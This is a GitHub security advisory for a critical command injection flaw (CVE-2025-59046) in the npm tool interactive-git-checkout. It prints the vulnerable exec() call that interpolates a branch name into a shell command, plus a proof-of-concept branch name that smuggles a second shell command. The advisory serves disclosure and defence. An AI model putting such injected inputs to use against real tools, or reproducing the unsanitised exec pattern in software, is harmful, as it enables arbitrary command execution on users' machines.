GitHub Advisoryadvisory · npm
GHSA-4wcm-7hjf-6xw5 interactive-git-checkout has a Command Injection vulnerability
CRITICAL
Official page ↗
- Aliases
- CVE-2025-59046
- Ecosystem
- npm
- Packages
- interactive-git-checkout
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-77
- Reviewed
- 2025-09-10
Affected packages
• npm interactive-git-checkout: <= 1.1.4 (no fix yet)
Description
The npm package `interactive-git-checkout` is an interactive command-line tool that allows users to checkout a git branch while it prompts for the branch name on the command-line. It is available as an npm package and can be installed via `npm install -g interactive-git-checkout`.
Resources:
• Project's npm package: https://www.npmjs.com/package/interactive-git-checkout
Command Injection Vulnerability
The `interactive-git-checkout` tool is vulnerable to a command injection vulnerability because it passes the branch name to the `git checkout` command using the Node.js child process module's `exec()` function without proper input validation or sanitization.
The following vulnerable code snippets demonstrates the issue:
```js
const { exec: execCb } = require('child_process');
const { promisify } = require('util');
const exec = promisify(execCb);
module.exports = async (targetBranch) => {
const { stdout, stderr } = await exec(`git checkout ${targetBranch}`);
process.stderr.write(stderr);
process.stdout.write(stdout);
};
```
Exploit Proof of Concept
1. Install the `interactive-git-checkout` package (as suggested by the package's README):
```bash
npm install --global interactive-git-checkout
```
2. Run the executable exposed by the installed package:
```bash
$ igc
```
3. When prompted, enter the following branch name:
```bash
hello ; echo 'Command Injection Vulnerability Exploited!' > /tmp/command-injection.txt; #
```
Vulnerable versions
All versions of interactive-git-checkout are vulnerable to this issue, up to and including to the latest version of `1.1.4`.
Author
Liran Tal
Related
Alias · CVE (1)
- CVE-2025-59046 The npm package `interactive-git-checkout` is an interactive command-line tool that allows users to checkout a git branch while it prompts… vulnerability
Weakness · CWE (1)
- CWE-77 Improper Neutralization of Special Elements used in a Command weakness
References
- https://github.com/ninofiliu/interactive-git-checkout/security/advisories/GHSA-4wcm-7hjf-6xw5 web
- https://nvd.nist.gov/vuln/detail/CVE-2025-59046 advisory
- https://github.com/ninofiliu/interactive-git-checkout/commit/8dd832dd302af287a61611f4f85e157cd1c6bb41 web
- https://github.com/ninofiliu/interactive-git-checkout package